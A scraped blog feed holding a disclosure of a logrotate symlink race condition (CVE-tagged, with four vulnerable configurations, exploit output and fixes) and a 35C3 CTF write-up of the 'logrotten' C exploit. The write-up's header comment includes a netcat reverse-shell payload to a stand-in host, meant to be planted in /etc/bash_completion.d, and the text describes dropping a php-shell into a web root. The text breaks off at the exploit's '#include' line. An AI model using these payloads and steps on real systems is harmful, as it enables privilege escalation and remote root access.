hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/debian" hreflang="en">Debian</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=278&amp;2=comment&amp;3=comment" token="gm3BXsVi-55Kr8NZ8Sqnkq-hgDkw5pOYeXcWUQ1uut0"></drupal-render-placeholder> </section> Tue, 07 May 2019 20:32:56 +0000 Hoti 278 at https://tech.feedyourhead.at Details of a logrotate race-condition https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition <span class="field field--name-title field--type-string field--label-hidden">Details of a logrotate race-condition</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p> </p> <p>Logrotate is prone to a race-condition on systems with a log directory that is in control of a low privileged user. A malicious user could trick logrotate to create files in any directory if it is executed as root. This might lead into a privileged escalation.</p> <h2>Description</h2> <p>In the linux man page logrotate is described as follows:</p> <blockquote> <p><strong>logrotate</strong> is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large.</p> </blockquote> <p>On most linux distributions, logrotate is executed automatically once a day as user root.</p> <p>Logrotate supports different methods for creating new files. For example the directive "copy" makes a copy of the logfile and "create" creates a new empty logfile after rotating. If someone exchanges the log directory with a symbolic link just before creating the new logfile, logrotate will put the new file into a different directory.</p> <p>As shown in the diagram below such a scenario can be exploited if logrotate runs as user root and a low privileged user is in control of the path to the log directory. If this user exchanges the log directory with a symbolic link at the right time, logrotate will write the new file into the linked directory. After that the permissions of the created file will be adjusted and the attacker might have write access to that file.</p> <p><img alt="logrotate race-condition squence diagram" data-entity-type="file" data-entity-uuid="7107350b-2651-4742-bc62-18893ffd5e17" src="/sites/default/files/inline-images/sequence.png" /></p> <h2>Exploit</h2> <p>The race-condition can be exploited by setting a inotify-hook at the logfile. As soon as logrotate hits the logfile, the exploit gets notified and exchanges the log directory by a symbolic link to /etc/bash_completion.d. Logrotate will then create the new logfile into /etc/bash_completion.d as root and will adjust the owner and permissions of that file afterwards. The new logfile will be writable if logrotate is configured to set the owner of the file to the uid of the malicious user. Therefore the attacker can write a payload for a reverse shell into this file. As soon as root logs in, the reverse shell will be executed and spawns a root shell for the attacker.</p> <p>An implementation of such an exploit could be found at <a href="https://github.com/whotwagner/logrotten">https://github.com/whotwagner/logrotten</a></p> <p>Using inotify has its limitations. It is too slow on filesystems that are on top of lvm2-volumes or overlayfs.</p> <h2>Examples</h2> <p>The following examples show different setups in which logrotate can be exploited:</p> <h3>1) Logfile owner is a user. Compress option is set</h3> <p>In this example the path is in control of user alice and the “compress”-directive is set in logrotate. The exploit hooks the IN_OPEN-operation of the file file.log.1. After the daily run of logrotate, a file with owner alice can be found at <i>/</i><i>etc/bash_completion.d/file.log.1.gz.</i></p> <p>The log directory is inside the home directory of user alice:</p> <pre><div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  drwxr-xr-x <span style="color: #000000;">2</span> alice alice <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> 09:<span style="color: #000000;">40</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir </pre></div></pre> <p>Alice has permissions for writing to the logfile:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> alice alice <span style="color: #000000;">200000</span> Apr <span style="color: #000000;">30</span> 09:<span style="color: #000000;">40</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>The directive "compress" is used inside the logrotate configuration:</p> <pre> <code> /home/alice/logdir/file.log { daily rotate 12 missingok notifempty size 1k compress } </code></pre> <p>Alice runs the exploit by setting the hook to file.log.1 and with the parameter for compression. The exploit gets executed when cron runs logrotate as root:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #666666;">alice@localhost$ </span>.<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log.1 Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log.1... Renamed <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir with <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>The compressed logfile is created in /etc/bash_completion.d with owner alice:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> alice alice <span style="color: #000000;">200053</span> Apr <span style="color: #000000;">30</span> 09:<span style="color: #000000;">40</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>file.log.1.gz</pre></div></pre> <h3>2) Logfile owner is root.root but with acl’s that permit a user to write the logfile.</h3> <p>This example illustrates a case where the insecure configuration is not obvious. User root owns the complete path and the logfile. But there are ACL’s set that allows user www-data to modify the directory /var/www/project and the logfile /var/www/project/logdir/file.log. As soon as logrotate triggers the exploit, a new file /etc/bash_completion.d/file.log will be created and the ACL’s copied.</p> <p>Permissions of the log directory. It is owned by root but ACL’s are in use:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxrwxr-x+ <span style="color: #000000;">2</span> root root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:09 <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir</pre></div></pre> <p>The logfile is also woned by root with ACL’s set:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">-rw-rw-r--+ <span style="color: #000000;">1</span> root root <span style="color: #000000;">12</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:09 <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log</pre></div></pre> <p>Access control list of /var/www/project:</p> <pre> <code> # file: var/www/project # owner: root # group: root user::rwx user:www-data:rwx group::r-x mask::rwx other::r-x </code></pre> <p>Access control list of /var/www/project/logdir:</p> <pre> <code> # file: var/www/project/logdir # owner: root # group: root user::rwx user:www-data:rwx group::r-x mask::rwx other::r-x default:user::rwx default:user:root:rwx default:user:www-data:rwx default:group::r-x default:mask::rwx default:other::r-x </code></pre> <p>Logrotate configuration with "create root root":</p> <pre> <code> /var/www/project/logdir/file.log { daily rotate 12 missingok notifempty size 1k create root root } </code></pre> <p>www-data executes the exploit and waits until logrotate will be started by cron:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ .<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>The new file is created in /etc/bash_completition.d with owner root and with ACL’s set:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"> -rw-rw-r--+ <span style="color: #000000;">1</span> root root <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">16</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>Access control list of /etc/bash_completion.d/file.log:</p> <pre> <code> # file: etc/bash_completion.d/file.log # owner: root # group: root user::rw- user:root:rwx #effective:rw- user:www-data:rwx #effective:rw- group::r-x #effective:r-- mask::rw- other::r-- </code></pre> <h3>3) Parent directory is secure and owned by root, but another directory above the parent is writable by a user. The logfile is owned by root.</h3> <p>This example shows that it is not enough to ensure that the logdir and its parent is owned by root. As long as one directory of the complete path can be modified by a user, logrotate could be exploited.</p> <p>Root owns /var/www/project/html:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxr-xr-x <span style="color: #000000;">3</span> root root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">26</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span> </pre></div></pre> <p>Root owns /var/www/project/html/logdir/:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  drwxr-xr-x <span style="color: #000000;">2</span> root root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">28</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span> </pre></div></pre> <p>Only root can write the logfile:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root root <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">28</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>User www-data can manipulate the path above the log directory:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxr-xr-x <span style="color: #000000;">3</span> www-data root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">26</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project </pre></div></pre> <p>Logrotate configuration having the “create” directive:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log <span style="color: #7a0874; font-weight: bold;">{</span> daily rotate <span style="color: #000000;">12</span> missingok notifempty <span style="color: #c20cb9; font-weight: bold;">size</span> 1k create <span style="color: #7a0874; font-weight: bold;">}</span></pre></div></pre> <p>www-data is allowed to rename the directory /var/www/project/html:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html2 </pre></div></pre> <p>www-data can create a new logdir and it will have write permissions for www-data:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ <span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir </pre></div></pre> <p>www-data can write into the new logfile:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">"hello world"</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>Permissions of /var/www/project/html/logdir/file.log:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> www-data www-data <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">31</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p> </p> <p>User www-data executes the exploit and waits until logrotate will be started by cron:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ .<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>The new file was created in /etc/bash_completion.de with owner www-data:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> www-data www-data <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">35</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <h3>4) Logrotate runs as low privileged user having the “su”-directive set. The path to the log directory is in control of a user of a group.</h3> <p>Using the “su”-directive is not save per se. It prevents attackers from getting root privileges, but it is still possible to gain the privileges of another user.</p> <p>Directories of /var/www are owned by www-data. Only logdirs is writeable by members of the group “loggrp”:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxr-xr-x <span style="color: #000000;">2</span> www-data www-data <span style="color: #000000;">4096</span> May <span style="color: #000000;">1</span> 05:<span style="color: #000000;">21</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html drwxrwxr-x <span style="color: #000000;">3</span> www-data loggrp <span style="color: #000000;">4096</span> May <span style="color: #000000;">1</span> 05:<span style="color: #000000;">24</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs</pre></div></pre> <p>The users www-data and myserv are members of the group loggrp:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  loggrp:x:<span style="color: #000000;">1001</span>:www-data,myserv </pre></div></pre> <p>Logrotate is configured with the “su”-directive. It will rotate logs with the privileges of www-data instead of root. The target /var/www/logdirs/example.com/* makes sure that all files inside the log directory will be rotated:</p> <pre> <code> /var/www/logdirs/example.com/* { daily rotate 12 missingok notifempty size 1k create www-data loggrp su www-data loggrp } </code></pre> <p>User “myserv” executes the exploit with the target directory “/var/www/html”:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #666666;">myserv@localhost$ </span>.<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #660033;">-t</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com<span style="color: #000000; font-weight: bold;">/</span>shell.php Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com<span style="color: #000000; font-weight: bold;">/</span>shell.php... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>User “myserv” is now able to write any php-shell into the new created file:</p> <p> </p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-rw-r--</span> <span style="color: #000000;">1</span> www-data loggrp <span style="color: #000000;">0</span> May <span style="color: #000000;">1</span> 05:<span style="color: #000000;">47</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>shell.php </pre></div></pre> <h2>Mitigation</h2> <p>This vulnerability occurs if log files are rotated in insecure directories. Even though the “su”-directive of logrotate can prevent an attacker from becoming root, it still leaves the opportunity open to escalate to another system user(as shown in example 4).</p> <p>One way to mitigate the problem is using Apparmor or SElinux.</p> <h2>Fix</h2> <p>Vulnerable setups can be easily fixed by making sure that the path to the log directory can only be manipulated by root or the owner of the log directory. However, a vulnerable setup is not always obvious. Therefore logrotate should check the complete path to the log directory. If one element of the path is not secure logrotate has to abort with an error. Algorithms for checking a directory path could be found on the following pages:</p> <ul><li> <p><a href="http://research.cs.wisc.edu/mist/safefile/safeopen_ares2008.pdf">http://research.cs.wisc.edu/mist/safefile/safeopen_ares2008.pdf</a></p> </li> <li> <p><a href="https://wiki.sei.cmu.edu/confluence/display/c/FIO15-C.+Ensure+that+file+operations+are+performed+in+a+secure+directory">https://wiki.sei.cmu.edu/confluence/display/c/FIO15-C.+Ensure+that+file+operations+are+performed+in+a+secure+directory</a></p> </li> </ul><p>Deploying such a fix might have a huge impact. If it would be deployed at large scale it could break existing installations because it prevents logrotate from rotating in insecure setups.</p> <h2>Conclusion</h2> <p>Logrotate is widely used for rotating logfiles. As the examples above have shown, insecure configurations are not always obvious. Even though a fix could prevent privilege escalations, it might also stop logrotate from working in insecure setups.</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 01 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=276&amp;2=comment&amp;3=comment" token="nAADQ8ixeyZnHqkBiPI1IjBgknj5s0ksfUzPqHOr45A"></drupal-render-placeholder> </section> Wed, 01 May 2019 11:04:35 +0000 Hoti 276 at https://tech.feedyourhead.at Abusing a race condition in logrotate to elevate privileges https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges <span class="field field--name-title field--type-string field--label-hidden">Abusing a race condition in logrotate to elevate privileges</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Together with a friend we took part of the Capture The Flag at the 35C3. One challenge was that one:</p> <blockquote> <p>Logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large. It also gives you a root shell.</p> </blockquote> <p>After searching at google I found out about a race condition in logrotate. In many <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=400198">bug reports</a> it was stated that a race condition exists <s>if logrotate gets executed with the "create" option</s>. A very detailed and brilliant analysis of the problem could be found at the blog of the <a href="https://blog.nsogroup.com/logrotate-zajebiste-500-points/">nsogroup</a>. Their exploit was very specific for the CTF challenge and it needs a suid binary that executes run-parts(cron). It worked for the CTF and I guess they earned their points. I was too slow and did not solve the challenge but I tried to finish it at home. My approach was to use inotify on /tmp/log/pwn.log to trigger the race. It seems that the logrotate bug could be exploited on live environments.</p> <h3>Requirements</h3> <p>In order to exploit this vulnerability for privilege escalation the following requirements must be met:</p> <ul> <li>logrotate has to be run as user root</li> <li>an unprivileged user has to be in control of the logdir-path</li> <li>the configfile should include any directive that creates new files.</li> </ul> <p>An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/". This is how the logrotate-config looks like:</p> <pre> <code> /tmp/log/pwnme.log { daily rotate 12 missingok notifempty size 1k create } </code></pre> <p>My unprivileged user is totally in control of /tmp/log/:</p> <pre> <code> osboxes@osboxes:~$ ls -l /tmp/log total 2940 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.0 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.1 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.10 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.11 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.12 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.13 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.2 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.3 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.4 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.5 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.6 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.7 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.8 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.9 osboxes@osboxes:~$ ls -ld /tmp/log drwxr-xr-x 2 osboxes osboxes 4096 Jan 14 15:34 /tmp/log </code></pre> <h3>Exploit</h3> <p>The vulnerability can be triggerd by replacing /tmp/log by a symlink to /etc/bash_completition.d after /tmp/log/pwnme.log got renamed. I wrote the following <a href="https://github.com/whotwagner/logrotten">Exploit</a>:</p> <pre> <div class="geshifilter"><pre class="c geshifilter-c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/* * logrotate poc exploit * * [ Brief description ] * - logrotate is prone to a race condition after renaming the logfile. * - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. * - An attacker could elevate his privileges by writing reverse-shells into * directories like &quot;/etc/bash_completition.d/&quot;. * - This vulnerability was found during a challenge at the 35c3 CTF * ( https://ctftime.org/event/718 ) * - A detailed description and a PoC of this challenge was written by the * - nsogroup ( https://blog.nsogroup.com/logrotate-zajebiste-500-points/ ) * * [ Precondition for privilege escalation ] * - Logrotate needs to be executed as root * - The logpath needs to be in control of the attacker * - &quot;create&quot; option is set in the logrotate configuration. * This exploit might not work without * * [ Tested version ] * - Debian GNU/Linux 9.5 (stretch) * - Amazon Linux 2 AMI (HVM) * - Ubuntu 18.04.1 * - logrotate 3.8.6 * - logrotate 3.11.0 * - logrotate 3.15.0 * * [ Compile ] * - gcc -o logrotten logrotten.c * * [ Prepare payload ] * - echo &quot;if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &amp;); fi&quot; &gt; payloadfile * * [ Run exploit ] * - nice -n -20 ./logrotten /tmp/log/pwnme.log payloadfile * * [ Known Problems ] * - It's hard to win the race inside a docker container * * [ Mitigation ] * - make sure that logpath is owned by root * - or use option &quot;nocreate&quot; * * [ Author ] * - Wolfgang Hotwagner * * [ Contact ] * - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * - https://github.com/whotwagner/logrotten */</span> &nbsp; <span style="color: #339933;">#include 